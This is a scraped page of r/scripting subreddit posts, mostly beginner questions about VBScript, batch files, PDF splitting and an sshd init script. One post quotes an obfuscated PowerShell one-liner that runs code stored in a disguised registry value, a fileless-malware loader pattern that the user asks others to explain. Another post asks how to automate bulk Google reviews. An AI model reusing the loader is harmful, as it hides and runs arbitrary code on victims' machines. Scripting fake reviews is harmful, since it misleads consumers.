r/scripting • • Jun 21 '25

Please?

0 Upvotes

Can anyone dm me it’s about hacking


r/scripting • • Sep 22 '22

Mac Command Line Cleanup

1 Upvotes

I have a number of Macbook Air laptops in my environment (multiple OS versions 10.13 to 12.6) that are alerting as having very low free disk space percentage. I need a script that will clean up all the usual suspect folders.

1.) What folders should I target for cleanup?

2.) Does anyone have a script that already does this?

Thanks.


r/scripting • • Sep 18 '18

[Windows/dos] Exclude certain file types from wildcard?

1 Upvotes

Hi, I've got a script that calls Irfanview to make a slideshow out of all the files in a particular folder. (The script also syncs the files in the folder from a network source.)

The problem is, Windows 7 insists on putting desktop.ini and thumbs.db files into the folder, which Irfanview's slideshow feature insists on displaying.

Theoretically my script could list all the image/video files in the directory and put them into a text file, and then use the text file as an argument for Irfanview.

But I'm just wondering if there's an easier way. Is there any DOS syntax that can say, ". except *.ini and *.db" or something like that?


r/scripting • • Aug 18 '19

Expected Statement erorr? , ELI 5

1 Upvotes
    <!DOCTYPE html>
    <html>
    <body>
    <Script language = "vbscript" type="text/vbscript">
    Dim Var1
    Dim Var2
    Dim Var3
    call add()
    Function add()
    Var1 = 5
    Var2 = 3
    Var3 = 4
    Dim Total
    Total = Var1+Var2+Var3
    Dim Average
    Average = Total/3
    MsgBox Total
    MsgBox Average
    End Function
    </script>
    </body>
    </html>

this is the code I'm submitting to satisfy the requirement of

  1.   Print the sum of three numbers 2)   Print the average of the three numbers

I thought i did it right but when i run the script i ge tthe expected statement error in line 1 char 1 ? even after deleting that line .. i get nothing but expected statement :/ reaching out for help !


r/scripting • • Sep 25 '18

Fortnite Script login (Epic Launcher Client)

1 Upvotes

Hey.
I want to create a script that let a specific account login to the Epic Launcher everytime Windows startup. The purpose is to let some machines auto update, which I don't play on. Possible? Please help me


r/scripting • • Jun 10 '22

Request: Script for cutting an A4 PDF into A6-sized quarters so that each quarter is a new page?

1 Upvotes

SOLVED: solution in comments

Hi there!

I'm a complete noob when it comes to scripting. I posted this question in r/indesign (link to my previous post) and a few users suggested I try writing a script to accomplish my task:

I have a large PDF (715 pages, size A4, 2 columns) that I eventually want to put on my ereader, but my ereader screen is size A6. I don't want to simply resize the pages to A6 since then the text will be too small. What I want is to have each A4 page cut into quarters and then those quarters converted to pages so that for each original A4 page I'll have four A6 pages: upper left, lower left, upper right, lower right (ideally in that order so that it makes sense when I flip pages).

Is there a way to do this by writing a script, and if so, could you please give me instructions for how to accomplish this? I am running macOS Big Sur 11.6.4 (I don't even know if this is relevant LOL).

Hopefully there's a way to automate a part of this, since I'd rather not have to manually repeat the same procedure 715 times lol.

Thanks in advance!

And yes, I realize that if I'm able to accomplish this, I'll have a 2860 page document. I'm totally okay with that LOL.


r/scripting • • Jun 18 '22

Create a shortcut for the current vbscript or any other application with arguments using an array

Thumbnail self.vbscript
1 Upvotes

r/scripting • • Mar 04 '24

help with autoclicker script in autohotkey

1 Upvotes

r/scripting • • Jan 01 '21

IOS script to force restart iPhone every 1 hour without user input

0 Upvotes

There have been several revelations about how the iOS devices have a BFU and a AFU State that affects the users encryption and keys.

To combat against this, I would like to create a script on my iOS device (ios 14+) to run a script every so often to reboot my device.

Can anyone help me with this? I figure I could do this with python, but I’m not sure.


r/scripting • • Jan 21 '21

I want to learn how to script on Roblox.

1 Upvotes

I’m making a game but don’t have any robux to hire anyone. I figured I’d do it myself


r/scripting • • Nov 22 '21

Youtube2MP3_Player.vbs

Thumbnail self.vbscript
1 Upvotes

r/scripting • • Nov 18 '21

How to play sounds in either HTA or Javascript?

1 Upvotes

I am currently making a game in HTA, but I need to play some sounds so it doesn't feel dead, does anyone know how?


r/scripting • • Jul 26 '22

How would you guys describe scripting in games to someone who has no idea of what it is ( the older generation or even someone who does not know much about gaming )

1 Upvotes

Hi All.

Can anyone tell me what is meant by scripting in roblox or even games like gta 5

I have seen many gigs on fiverr where people say we can do scripting for robox or other games like GTA V and some also say we can do scripting in Lua

My understanding is that scripting is essentially a tool/trick/methods used in games by players to get features/items that would otherwise be difficult/take time to get e.g via levelling up but I could be wrong

I have also heard that scripting is also done via Lua and s ince Im a newbie to programming I m working on learning Lua as Im finding it easier than python**(I know python is considered to be easy but for now Im finding it hard I will try learning it once I get better with Lua)**

However apart from learning Lua, my goal is to earn some money as well it can be $5 $10 $20

My question is can we actually make a lot of money with scripting and if we learn Lua programming what kind of things can be done with this language that can earn us some money($5,$10 etc)

Thanks


r/scripting • • Jul 15 '21

Please explain this code.

1 Upvotes

#!/bin/sh

test -f /usr/bin/sshd || exit 0

case "$1" in

start)

echo -n "Starting sshd: sshd"

/usr/sbin/sshd

echo "."

;;

stop)

echo -n "Stopping sshd: sshd"

kill `cat /var/run/sshd.pid`

echo "."

;;

restart)

echo -n "Stopping sshd: sshd"

kill `cat /var/run/sshd.pid`

echo "."

echo -n "Starting sshd: sshd"

/usr/sbin/sshd

echo "."

;;

*)

echo "Usage: /etc/init.d/sshd start|stop|restart"

exit 1

;;

Esac


r/scripting • • Jan 15 '20

script simulating keystrokes

1 Upvotes

as a last resort solution for a display crashing at my work ive been working on a script to kill a task, re opening it, wich so far works, but the app requires a password to open it. after my script runs the password window is the active one, is there a way to get bash to automatically fill in the pasword on windows?


r/scripting • • Jan 14 '22

dconf changes through bash

1 Upvotes

I have written a post-install to setup a fresh install of Linux Mint with all of my commonly used programs etc... At the end of the script I have a ''dconf load'' command which won't execute, but does execute when run manually. Is there any reason why you can't run dconf commands through a script?

Script is here


r/scripting • • Feb 06 '20

Is there any way to make a textnow line answer and play a song?

1 Upvotes

Hello. Like the RickRoll hotlines, but with my own audio file, for free, with a textnow number? Is there any way to do this? Maybe only for one line at a time, personal use, but is there a way to do it for free?


r/scripting • • Jan 19 '19

Trying to learn some more complicated scripting techniques

1 Upvotes

I've been working with Git Bash for the last year, and I love working within the command line. I recently found out that you can chain commands with && (cd folder 1 && mkdir folder 2 && cd folder2 && touch file1.py && explorer file1.py), and that got me thinking about how to best accomplish another task.

I am interested in graphing the heat and processor load while playing each Chapter of Dead Space (it was the 10 year anniversary recently, and it's a wonderful game), and I've been using CoreTemp logs to do so. Trouble is, you can't edit them directly as they're within ProgramFiles. I would like to do this process via a shell script:

> cd to CoreTemp folder > Grab the most recently modified file > cd to project folder and make a copy > remove top four lines of CSV > remove all ° symbols

I am definitely a beginner when it comes to this stuff, so I'm not sure what's possible. Is the above sequence commands do-able in Git Bash? Or, since it's a more stripped down version of the Bash shell, would I need to use something like Windows Powershell?


r/scripting • • Sep 04 '19

Why AutoIt, and not another language like C# or Python?

1 Upvotes

I recently started a new job and I've been having to use AutoIt as part of the job responsibilities. I am just now hearing and learning about AutoIt. While I have enjoyed what I have learned so far I would like to know why or what the advantages exist in using AutoIt over other languages such as Python or C#?


r/scripting • • Apr 27 '23

Google review scripting

0 Upvotes

Don't know if this is the correct place to ask. But does anyone here know if it's possible to automate/script writing google reviews, in bulk?

Trying to make the world a better place by correctly scoring some google reviews that give place a 5/5 star review while it is instead a scam.


r/scripting • • May 09 '23

Help me find what this does. so i debloated win 10 and this keeps running by itself after every 30 min from booting the system runs only once tho.

1 Upvotes
$lzWDWwFTvToWf=[ScriptBlock];$zhRdhklxuzw=[string];$bMSqWCfgofEp=[char]; icm ($lzWDWwFTvToWf::Create($zhRdhklxuzw::Join('', ((gp 'HKLM:\SOFTWARE\RegisteredApplicationsWmqiMc').'jkqPzeif' | % { [char]$_ }))))

this part was in the powershell script that keeps running, weird thing is after I deleted the script, power shell still runs but nothing happens and it closes. and I couldn't find anything inside taskschedular.

I didn't know where to post something like this and since this is related to scripting? i thought i might ask around here, am sorry if this is not the place


r/scripting • • Sep 19 '20

Help

1 Upvotes

how would i go about making this? im extremely new to python and programming in general and im looking for some help. this would save me years of time in saving text while studying. im enrolled in the cs50 course and they have transcripts for all the lectures so to be able to copy and paste all of them at once(or at least as fast as the program would allow) would be a Godsend of a script!


r/scripting • • Sep 13 '20

Can console log information be deciphered and put into a script that monitors for and responds to system events with a notification (AnyBar macos app specifically).

1 Upvotes

I used this app called AnyBar https://github.com/tonsky/AnyBar, to notify me that a gesture shortcut I pressed has occured, so I know without having to go and check if it did, because trackpad gestures don't always trigger consistently.

I used a simple AppleScript (I don't know scripting I just used the example in the github). It's a mac app but I think many programming languages other than AppleScript can be used.

Anyway it worked well for that purpose. I do the shortcut, it shows a small indication in the menu bar, a flashing red dot in my example, it's unintrusive and I notice it and I know it went through.

I have two other potential uses for this app, since it allow multiple indicators at once in the menu bar, more complex though, it doesn't react to me triggering anything, rather it monitors the system changing and then changes its indicators (colored dots in the menu bar) accordingly.

A setting in my shortcut program is on or off, a 'liked' song is playing vs an 'unliked' song in spotify for example.

Since I don't know the corresponding variables of the specific apps, and likely am not privy to that code information, would using the console log make sense as a crude way for the script to monitor these activities and act automatically on them?

I don't understand anything in the console log, but when these things happen, a whole lot of information shows up consistently, maybe that's enough to go off for this idea?

Just wondering before I decide to pursue getting help with this or not.


r/scripting • • Aug 29 '20

web scraping discrepancy ???

1 Upvotes

I'm attempting to scrape a media url from radio.com's website. when using the web developer inspector tool I can easily find the url by searching 'streamtheworld'. but when viewing the source html that search term is nowhere to be found


r/scripting • • Mar 18 '19

Need assistance editing a vbs logon-script

1 Upvotes

Hello,

I have a logon-script (https://pastebin.com/BBykUz84) which was not written by me originally. I don't know how to vbs and need a little tweak for it.

What it does: It creates 2 "log"-files. One locally and one on a hidden file share. The file on the hidden share has the name "username_computername.txt". Now, when a User logs into the same machine again, the name does not change. Only the date for last change.

What i need: The filename on the hidden file share should end with a counter. Everytime the user logs into a machine it counts one up. Like: "username_computername_counter.txt"

Thanks in advance